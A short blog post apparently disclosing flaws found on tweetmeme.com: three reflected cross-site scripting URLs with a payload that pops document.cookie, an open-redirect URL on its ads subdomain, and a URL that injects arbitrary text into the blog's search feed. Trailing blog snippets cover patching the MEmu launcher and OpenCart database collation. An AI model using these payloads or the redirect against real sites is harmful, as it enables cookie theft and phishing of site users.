Skip to main content

http://tweetmeme.com | XSS

while subscribing to utest.com i've found this simple xss on twetmeme.com (a service that they use to tweet ... I suppose).
funny .... ?

XSS ( no checks/sanitizing ... nothing)
http://tweetmeme.com/popup/option?url_id=984607153&source=utest&service=bit.ly.%22>%3Cvideo src=1 onerror=alert(document.cookie) >

http://tweetmeme.com/popup/option?url_id=984607153&source=utest%22%3E%3Cvideo%20src=1%20onerror=alert(document.cookie)%20%3E&service=bit.ly

http://tweetmeme.com/popup/option?url_id=984607153%22%3E%3Cvideo%20src=1%20onerror=alert(document.cookie)%20%3E&source=utest&service=bit.ly

redirecting anywhere
http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=135&nurl=http://www.google.com

spammy
http://blog.tweetmeme.com/?s=.&feed=Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc sit amet elit turpis. Cras elementum, turpis quis rutrum viverra, dui sapien auctor lorem, sed suscipit dui odio eget ligula. Nunc a sem mauris, a porta tortor. Nunc in varius justo. Praesent venenatis ultrices condimentum. Morbi eget imperdiet ante. Praesent eros metus, pulvinar nec laoreet a, aliquam nec orci. Nunc cursus condimentum lacus, at dictum sapien tincidunt non. Nullam gravida condimentum leo, id porta nibh placerat sit amet. Phasellus sed elit vel quam ornare laoreet.

Comments

Popular posts from this blog

2022 - Remove (the too many) Ads from Memu launcher

Simple method Download from pureapk "MEmu Launcher2" ex: MEmu Launcher2_v6.0.9_apkpure.com Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar) Longer method Install "Export Apk" Export the memu launcher2  Install purify https://github.com/echo-devim/purify/raw/master/Purify.apk use purify with the exported memu launcher 2 Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar)      

Database Collation when installing Opencart 3.x, 4.x

  To avoid several problems the database collation for opencart should be as follows: - for Opencart 4.0.1.1 and above it should be " utf8mb4_general_ci " - for Opencart 1.5.51 (Opencart  2.x, Opencart 3.x ) up to Opencart 4.0.1.0 the collation should be " utf8_general_ci " - for Opencart 1.4.1 up to Opencart 1.5.4.1 the collation should be " utf8_bin " - for Opencart <1.1.1 up to Opencart 1.4.0 the collation should be " utf8_unicode_ci " If you are using the latest version of mysql always use " utf8mb4_general_ci ". Never use UTF8mb3*